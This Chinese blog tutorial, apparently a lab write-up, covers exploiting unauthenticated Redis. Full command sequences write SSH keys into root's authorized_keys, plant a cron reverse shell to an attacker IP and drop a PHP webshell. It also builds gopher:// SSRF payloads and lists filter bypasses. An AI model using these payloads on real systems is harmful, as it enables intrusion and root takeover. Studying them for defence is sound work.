Redis未授权访问漏洞

Redis是一种key-value键值对的非关系型数据库

默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis

Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器

漏洞的产生条件:

  1. Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
  2. 没有设置密码认证,可以免密码远程登录Redis服务
  3. 以root身份运行Redis

Redis简单命令了解

查看版本信息
127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用
127.0.0.1:6379> flushall
设置Redis本地存储的文件夹和文件名
127.0.0.1:6379> config set dir [PATH]
127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
127.0.0.1:6379> save

Redis.config简单配置了解

bind IP1 IP2 ...

bind表示本机可以接受连接的网卡地址;只有通过bind里面配置的IP才访问到Redis服务

protected-mode [no|yes]

设置protected-mode no此时外部网络可以直接访问;开启保护模式需配置bind IP或者设置访问密码

Redis漏洞环境

Attacker

Kali: 10.173.168.12

Victim

Ubuntu: 139.xxx.xx.xxx

CentOS: 10.173.168.6

修改redis.conf

# bind 127.0.0.1
protected-mode no

需要允许除本地外的主机远程连接redis服务

利用Redis实现SSH

Victim: Ubuntu

root身份运行Redis服务器

$ sudo redis-server /etc/redis.conf

Attacker本地生成一堆密钥

root@kali:~# ssh-keygen -t rsa

id_rsa.pub

root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali

Redis连接并将公钥写入Victim

root@kali:~/.ssh# redis-cli -h 139.xxx.xx.xxx
139.xxx.xx.xxx:6379> config set dir /root/.ssh
OK
139.xxx.xx.xxx:6379> config set dbfilename authorized_keys
OK
(0.54s)
139.xxx.xx.xxx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali\n\n\n" # \n换行,不然SSH连接会失败
OK
139.xxx.xx.xxx:6379> save
OK

SSH连接Victim

root@kali:~/.ssh# ssh -i id_rsa root@139.xxx.xx.xxx
Welcome to Ubuntu

利用Redis实现反弹Shell

Victim: CentOS

root身份运行Redis服务器

[root@centos centos]# redis-server /etc/redis.conf

Redis连接并写入反弹Shell

10.173.168.6:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/10.173.168.12/23 0<&1 2>&1\n"
OK
10.173.168.6:6379> config set dir /var/spool/cron/
OK
10.173.168.6:6379> config set dbfilename root
OK
10.173.168.6:6379> save
OK

监听23端口并等待反弹Shell

root@kali:~# nc -lvp 23

反弹Shell在Ubuntu下无法实现

由于系统的不同,定时文件位置也不同

  • Centos的定时任务文件在/var/spool/cron/root
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/root
  • 二者共有定时任务文件在/etc/crontab

Redis以root身份写的文件权限为644,普通用户则是664,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,而如果写入/etc/crontab,由于存在乱码,因此ubuntu不能正确执行定时任务;而CentOS在/var/spool/cron/中的定时任务文件权限为644就能执行

故ubuntu下通过Redis无法成功反弹shell

利用Redis写入WebShell

redis-server以非root身份运行时,无法将/var/spool/cron/以及/root/.ssh设置为本地存储文件夹但可以写入一句话木马

Victim: Ubuntu

Redis连接并写入一句话

139.xxx.xx.xxx:6379> set x "<?php phpinfo();?>"
OK
139.xxx.xx.xxx:6379> config set dir /var/www/html
OK
139.xxx.xx.xxx:6379> config set dbfilename shell.php
OK
139.xxx.xx.xxx:6379> save
OK

访问shell.php

Redis未授权漏洞与SSRF的综合利用

了解SSRF

SSRF(Server-Side Request Forgery服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因是由服务端发起的,所以能够请求到与其相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容或加载指定地址的图片

常见格式

http://xxx.xxx.xx.xxx/index.php?url=

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信

RESP协议在Redis 1.2中引入后成为Redis服务器通信的标准方式,其主要可序列化以下数据类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串;RESP协议每部分都以 “\r\n” (CRLF) 结尾

RESP在Redis中用作请求 - 响应协议的方式:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
  2. 服务器根据命令实现回复一种RESP类型

在RESP中,数据类型取决于第一个字节:

  • 对于Simple Strings,回复的第一个字节是+
  • 对于error,回复的第一个字节是-
  • 对于Integer,回复的第一个字节是:
  • 对于Bulk Strings,回复的第一个字节是$
  • 对于array,回复的第一个字节是*

在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束

tcpdump抓取流量包

抓取6379端口流量

tcpdump port 6379 -w resp.pcap

连接远程Redis

xxx.xxx.xx.xxx:6379> set name hacker
OK
xxx.xxx.xx.xxx:6379> get name
"hacker"
xxx.xxx.xx.xxx:6379> del name
(integer) 1
xxx.xxx.xx.xxx:6379> get name
(nil)

所抓流量包





分析流量包

*3代表数组中数据个数为3(可以简单理解为空格为将命令分割为数组["set","name","test"]);$3代表字符串的长度,Hex中0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串;$-1表示空值

SSRF漏洞相关函数和协议

以下函数使用不当会导致SSRF:

  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()

注意事项如下:

  • 一般情况下PHP不会开启fopen的gopher
  • file_get_contents的gopher协议不能URL编码
  • file_get_contents关于gopher的302跳转会出现bug,导致利用失败
  • curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
  • curl_exec()默认不跟踪跳转
  • file_get_contents支持php://input协议

SSRF可利用的协议:

  • file:在有回显的情况下,利用 file 协议可以读取任意内容

    ?url=file:///etc/passwd
  • dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

    ?url=dict://127.0.0.1:6379/info
  • gopher:可以截获get和post请求包,再构成符合gopher协议的请求,gopher传参需要加_

    ?url=gopher://127.0.0.1:23/_hacker
  • http/s:探测内网主机存活

    ?url=http://172.27.16.9

利用gopher协议反弹shell

Victim: CentOS

socat抓取RESP协议流量

将反弹shell脚本写入shell.sh

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

socat端口转发

[root@centos spool]# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379

socat将本地2333端口转发到6379端口,访问本地2333端口实际上是访问6379端口

执行反弹shell

bash shell.sh 127.0.0.1 2333

获取流量(处理过,注意payload结尾回车)

*3\r
$3\r
set\r
$1\r
1\r
$56\r */1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1 \r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r

转换获取数据

exp = ''

with open('payload.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print("gopher://127.0.0.1:6379/_" + exp.replace('$', '%24'))

curl测试转换结果

curl -v "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

反弹成功

[root@centos ~]# ^C
[root@centos spool]# nc -lvp 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::23
Ncat: Listening on 0.0.0.0:23
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52642.
bash: no job control in this shell
[root@centos ~]#

Redis保护模式开启状态下SSRF

Victim: Ubuntu

一般情况下Redis保护模式开启状态

# bind 127.0.0.1
protected-mode yes

保护模式拒绝Redis的远程连接



漏洞代码

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

一句话木马转换

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print("gopher://127.0.0.1:6379/_" + s.replace("$", "%24"))

转换结果在使用curl发送的时候要把一句话的两个尖括号和;?url编码

curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3c%3fphp phpinfo()%3b%3f%3e%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

urlencode之后构造payload

http://139.xxx.xx.xxx/index.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253c%253fphp+phpinfo()%253b%253f%253e%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a

木马植入成功

SSRF漏洞相关绕过

  • @

    http://abc@127.0.0.1
  • 短网址

    http://tool.chinaz.com/tools/dwz.aspx 短链生成工具
  • 句号

    127。0。0。1
  • 302跳转

    https://tinyurl.com/ 302跳转平台

SSRF实战中的疑惑

在Ubuntu和CentOS靶机中测试以及进行真实渗透时出现一些奇怪现象,尝试在?url=后面拼接gopher payload时一直无法成功,于是尝试dict协议执行Redis命令的方式去写入一句话竟然成功了

dict://127.0.0.1/set x '<?php phpinfo();?>'

发现目标服务器中php版本为V

而靶机中版本为php7,用dict协议写入时会出现如下错误

-ERR Protocol error: unbalanced quotes in request

Reference

https://xz.aliyun.com/t/5665

https://moelove.info/2017/03/05/理解-Redis-的-RESP-协议/

https://www.jianshu.com/p/20095384e5d2

https://xz.aliyun.com/t/7405

https://xz.aliyun.com/t/1800

非常感谢以上作者的资料分享

右下角还有打赏功能呦~要不测试一下打赏功能能否正常运行?

浅谈Redis未授权访问漏洞的更多相关文章

  1. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  2. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  3. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  4. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  5. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  6. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  7. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  8. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  9. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

随机推荐

  1. Java中List集合去除重复数据的方法1

    1. 循环list中的所有元素然后删除重复 public   static   List  removeDuplicate(List list)  {         for  ( int  i  = ...

  2. Easy [还是概率DP思想……]

    题目描述 某一天\(WJMZBMR\)在打\(osu\)~~~但是他太弱逼了,有些地方完全靠运气\(QaQ\) 我们来简化一下这个游戏的规则 有\(n\)次点击要做,成功了就是\(o\),失败了就是\ ...

  3. BZOJ 3573米特运输

    Description 米特是D星球上一种非常神秘的物质,蕴含着巨大的能量.在以米特为主要能源的D星上,这种米特能源的运输和储存一直是一个大问题.D星上有N个城市,我们将其顺序编号为1到N,1号城市为 ...

  4. JavaScript基础对象创建模式之声明依赖模式(023)

    运用了命名空间(Namespace)模式后, 就可以使用一些JavaScript库了,比如YAHOO作用YUI2库的全局对象,可以通过 YAHOO.util.Dom 和 YAHOO.util.Even ...

  5. 第二部分用户交互程序开发,通过paramiko记录ssh会话记录

    需求及任务:实现一个给用户登录的界面(通过ssh登到堡垒机上,然后给它展现一个命令行的页面,然后他选择登哪台机器,一选择就连上去且把日志也记录下来). 先在admin创建几条组数据并与用户关联如下图: ...

  6. 4 个好用的 Linux 监控工具

    下面是 Linux 下 4 个日常使用率非常高的监控工具,可以帮助我们准确快速的诊断系统问题. 1. iotop 如果你想知道某些进程使用了多少你宝贵的 I/O 资源,那么就使用 iotop 吧. i ...

  7. JVM源码分析之JVM启动流程

      原创申明:本文由公众号[猿灯塔]原创,转载请说明出处标注 “365篇原创计划”第十四篇. 今天呢!灯塔君跟大家讲: JVM源码分析之JVM启动流程 前言: 执行Java类的main方法,程序就能运 ...

  8. Traffic Real Time Query System,题解

    题目链接 题意: 问从一条边到另一条边的必经点. 分析: 首先,问必经点,当然是要点双缩点(圆方树)啦,关键是把边映射到哪一点上,其实直接放在某联通分量的方点上就行,但是这个点并不好找,所以我们考虑一 ...

  9. 返回报文变成xml格式了!

    首先,google chrome之前有安装jsonview插件: 然后,自己弄springCloud项目,搭建eureka后,访问url发现返回报文变成xml格式了,一通摸索及查找,现整理如下: 1. ...

  10. USTC信息安全期末重点

    一.ARP协议问题1. ARP协议的作用是什么.地址解析协议,即IP地址和MAC地址之间的转换. 2. 引入ARP缓存的功能是什么.将这一映射关系保存在 ARP 缓存中,使得不必重复运行 ARP 协议 ...